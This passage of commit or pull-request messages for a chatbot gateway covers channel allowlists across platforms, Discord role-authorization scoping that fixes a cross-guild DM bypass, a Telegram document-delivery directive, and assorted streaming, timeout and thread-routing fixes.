- Mattermost: `mattermost.allowed_channels` (env alias: `MATTERMOST_ALLOWED_CHANNELS`)
- Matrix: `matrix.allowed_rooms` (env alias: `MATRIX_ALLOWED_ROOMS`)
- DingTalk: `dingtalk.allowed_chats` (env alias: `DINGTALK_ALLOWED_CHATS`)
Mattermost and Matrix previously had NO config.yaml bridging for any of
their gating settings; this PR adds `load_gateway_config` bridges for them
(Mattermost gets require_mention + free_response_channels + allowed_channels;
Matrix gets allowed_rooms on top of its existing bridges for require_mention
and free_response_rooms).
Semantics identical everywhere:
- Empty = no restriction (fully backward compatible).
- Non-empty = hard whitelist: non-listed chats are silently ignored,
even when the bot is @mentioned.
- DMs bypass the check entirely.
DEFAULT_CONFIG merges the duplicate `slack` block and adds new `mattermost`
and `matrix` blocks so all gating settings surface in defaults.
Not included: Feishu (has its own per-chat `chat_rules` system that covers
this use case differently), WhatsApp (already has `group_allow_from` via
`group_policy: allowlist`), pure-DM platforms (Signal, SMS, BlueBubbles,
Yuanbao — no group concept).
Extracts the three try/write_runtime_status/except-log blocks into a
shared _write_runtime_status_safe() helper. On failure, logs the first
occurrence per (platform, context) at warning level and downgrades
subsequent failures to debug — so a persistently broken status dir
(permissions, ENOSPC) doesn't spam the log on every Telegram reconnect.
Uses getattr for the _status_write_logged set so test harnesses that
skip __init__ (object.__new__(Adapter)) don't break.
Follow-up to the salvaged #21158.
Per repo policy, ~/.hermes/.env is for secrets only. Guild IDs are
behavioral configuration, not secrets. Replacing the
DISCORD_DM_ROLE_AUTH_GUILD env var from the original fix with
discord.dm_role_auth_guild in config.yaml.
- New module-level _read_dm_role_auth_guild() helper reads
hermes_cli.config.read_raw_config()['discord']['dm_role_auth_guild'].
Fails closed on any parse error (safe default = DM role-auth off).
- DEFAULT_CONFIG['discord'] gains dm_role_auth_guild: '' with a comment
documenting the opt-in.
- Tests patch hermes_cli.config.read_raw_config directly (via the
_set_dm_role_auth_guild helper) instead of setenv/delenv. 12 tests
in test_discord_roles_dm_scope pass; no env var involvement.
- Docstring + module docstring + comments updated to reference
discord.dm_role_auth_guild.
- E2E verified with real imports across 6 scenarios: unset, int,
string, garbage, zero, and (crucially) env-var-only-no-config all
return None except the valid int/string cases. Env var has zero
effect — policy compliance confirmed.
Sibling-site fix: _evaluate_slash_authorization was the fourth
_is_allowed_user caller and didn't pass guild/is_dm through, so slash
interactions would take the DM branch regardless of whether they came
from a guild channel. Now reads interaction.guild + in_dm and forwards.
Also updates test_discord_slash_auth fixture (_make_interaction) so
the SimpleNamespace guild mock has a get_member(uid)->None method —
required by the new guild-scoped fallback path in _is_allowed_user.
Tests exercising positive role paths still work via user.roles.
Three new regression tests in test_discord_roles_dm_scope:
- Slash DM + role in mutual public guild → rejected
- Slash in guild B + role only in guild A → rejected
- Slash in guild B + role in guild B → allowed (positive control)
368 Discord tests pass. test_discord_free_channel_skips_auto_thread
also fails on clean main (pre-existing, unrelated to this fix).
The initial DISCORD_ALLOWED_ROLES implementation (#11608, merged from #9873)
scans every mutual guild when resolving a user's roles. This allows a
cross-guild DM bypass:
1. Bot is in both public server A and private server B.
2. User holds the allowed role in server A only.
3. User DMs the bot. The role check finds the role in A and authorizes the
DM, granting access as if the user were trusted in server B.
Fix:
- DMs (no guild context) disable role-based auth by default. Opt-in via
DISCORD_DM_ROLE_AUTH_GUILD=<guild_id> restricts role lookup to one
explicitly-trusted guild.
- Guild messages check roles only in the originating guild
(message.guild), never in other mutual guilds.
- Reject cached author.roles when the Member came from a different guild
than the current message.
Backwards compatibility:
- DISCORD_ALLOWED_USERS behavior is unchanged (still works in both DMs
and guild messages).
- Deployments that rely on roles in guild channels continue to work;
role checks are now strictly scoped to that guild.
- Deployments that intentionally want role-based DM auth can opt into a
single trusted guild via DISCORD_DM_ROLE_AUTH_GUILD.
Tests: 9 new regression guards in
tests/gateway/test_discord_roles_dm_scope.py covering the bypass path,
the opt-in path, cross-guild guild-message bypass, and backwards-compat
user-ID paths. 47/47 discord-auth tests pass.

Fixes#19124
Skills that produce large/lossless images (e.g. info-graph, where a
rendered JPG is 1-2 MB) currently lose quality in Telegram delivery
because `_IMAGE_EXTS` membership routes the file through
`send_multiple_images` → `sendMediaGroup`, which Telegram's server
re-encodes to JPEG @ 1280px max edge. The original bytes only survive
when the file goes through `send_document`, which the dispatch tables
in three places (`_process_message_background`, `_deliver_media_from_response`,
and the `send_message` tool's telegram path) only reach for files
whose extension is NOT in `_IMAGE_EXTS`.
This commit adds an `[[as_document]]` directive that mirrors the
existing `[[audio_as_voice]]` shape: a skill emits the directive once
in its response, and every image-extension MEDIA: file in that response
is delivered via `send_document` instead of `send_multiple_images` /
`sendPhoto`. The directive is detected at the dispatch sites (which see
the raw response) and the directive string is stripped from the
user-visible cleaned text in `extract_media` so it never leaks.
Granularity is intentionally all-or-nothing per response, matching
[[audio_as_voice]]'s scope. Skills that need fine control can split into
two responses.
Verified the targeted use case: info-graph emits
信息图已生成（...）
[[as_document]]
MEDIA:/tmp/info-graph-x/infographic.jpg
→ Telegram receives `infographic.jpg` via sendDocument, original 1MB
JPEG bytes preserved, no recompression. Forwarding and download
filenames stay clean (`infographic.jpg`).
Tests: +3 cases in TestExtractMedia covering directive strip, isolation
from voice flag, and coexistence with [[audio_as_voice]]. All
113 pre-existing media/extract/send tests pass.

aiohttp ClientTimeout uses BaseTimerContext which calls
loop.call_later() internally. When invoked via
asyncio.run_coroutine_threadsafe() from cron jobs, this
triggers "Timeout context manager should be used inside a task"
errors, causing message delivery failures.
Replace all direct ClientTimeout usage with asyncio.wait_for():
- _upload_ciphertext: CDN upload (120s timeout)
- _download_bytes: CDN download (configurable timeout)
- _download_remote_media: remote media fetch (30s timeout)
Also set total=None on _send_session to disable aiohttp built-in
timeout, and change trust_env=True to False to bypass proxy for
WeChat CDN connections.
When display.cleanup_progress (or display.platforms.<plat>.cleanup_progress)
is true, the gateway deletes tool-progress bubbles, long-running '⏳ Still
working...' notices, and status-callback messages after the final response
is delivered successfully. Currently effective on adapters that implement
delete_message (Telegram); silently no-ops elsewhere. Off by default.
Failed runs skip cleanup so bubbles stay as breadcrumbs.
Minimal plumbing: base.py's existing post_delivery_callback slot now chains
new registrations onto any existing callback (with per-callback exception
isolation) rather than clobbering. Stale-generation registrations are
rejected so they can't step on a fresher run's callbacks. This lets the
cleanup callback coexist with the background-review release hook already
registered on the same slot.

Two follow-ups on top of helix4u's slash-command sync hardening:
- Only suppress exceptions that are actually Discord 429 rate limits
(discord.RateLimited, HTTPException with status 429, or a clearly
rate-limit-named duck type). Arbitrary failures that happen to expose
a retry_after attribute now re-raise to the outer handler instead of
silently swallowing a cooldown.
- Move the sync-state JSON under $HERMES_HOME/gateway/ so the home root
stops collecting ad-hoc runtime files.
Added a test verifying unrelated exceptions don't get misclassified as
rate limits.
- Remove dead metadata.get('reply_to') fallback in _send_raw_message;
nothing in the codebase ever sets 'reply_to' inside a metadata dict —
the key only appears as a top-level send_voice() keyword argument
- Simplify _status_thread_metadata construction in run.py to use a
single dict literal instead of create-then-mutate pattern; the
or-{} guard was dead since source.thread_id implies _progress_thread_id
is also set for Feishu
- Add yuqian@zmetasoft.com to AUTHOR_MAP for contributor attribution
Route Feishu topic progress, status, approval, stream, and fallback messages through threaded replies by preserving the originating message id as the reply target. Add regressions for tool progress topic metadata and Feishu metadata-driven reply routing.
Reduces SSE event rate ~500/turn → ~20/turn via 50ms text-delta batching in
_dispatch(), which eliminates markdown re-render storms on Open WebUI. Also:
- Trim tool_call.arguments in the response.completed event to 100KB
(prevents silent hangs on 848KB+ single-line SSE events).
- Catch-all exception handlers in _write_sse_responses() + _write_sse_chat_completion()
emit a proper error chunk instead of TransferEncodingError from incomplete
chunked encoding when the agent crashes mid-stream.
- MAX_REQUEST_BYTES 1MB → 10MB; pass client_max_size to aiohttp Application to
avoid silent 400s on truncated request bodies for long conversations.
Salvage of #17552 (api_server portion only). The contrib/openwebui-filter/
payload from that PR — Open WebUI Filter Function + benchmark writeup — is
a client-side user-installable add-on and doesn't need to live in the repo;
dropped here. Closes#17537.

Salvage of #11350. Kept:
- Code: add an explicit /voice join Choice in the slash UI (runner accepts both 'join' and 'channel' but only 'channel' was in autocomplete).
- Docs: Server Members Intent is conditional (only needed if DISCORD_ALLOWED_USERS contains usernames); SSRC → user_id mapping uses the voice websocket SPEAKING opcode, not the Members intent.
Dropped from the original PR:
- HERMES_DISCORD_VOICE_PACKET_DUMP — this env var doesn't exist on main (it was in a different PR that isn't merged).
- DISCORD_PROXY docs — already documented on current main.
- DISCORD_ALLOW_MENTION_* docs — already on main.
- "barge-in mode" rewrite — current main actually does pause the listener during TTS (VoiceReceiver.pause() at discord.py:192); there is no barge_in_guard/barge_in_rms on main.

Mirror _message_thread_id_for_typing() with _message_thread_id_for_send():
both now map the General forum topic (thread id "1") to None upfront.
That removes the need for the retry-without-thread fallback in send_typing()
entirely — if _message_thread_id_for_typing() returns a non-None value, it's
a real user-created topic and falling back to the root chat is never correct.
If Telegram rejects the typing action (e.g. topic deleted mid-session), we
swallow it at debug level instead of bleeding the indicator into All Messages.
Updates the General-topic typing regression test to assert the new single-call
contract.
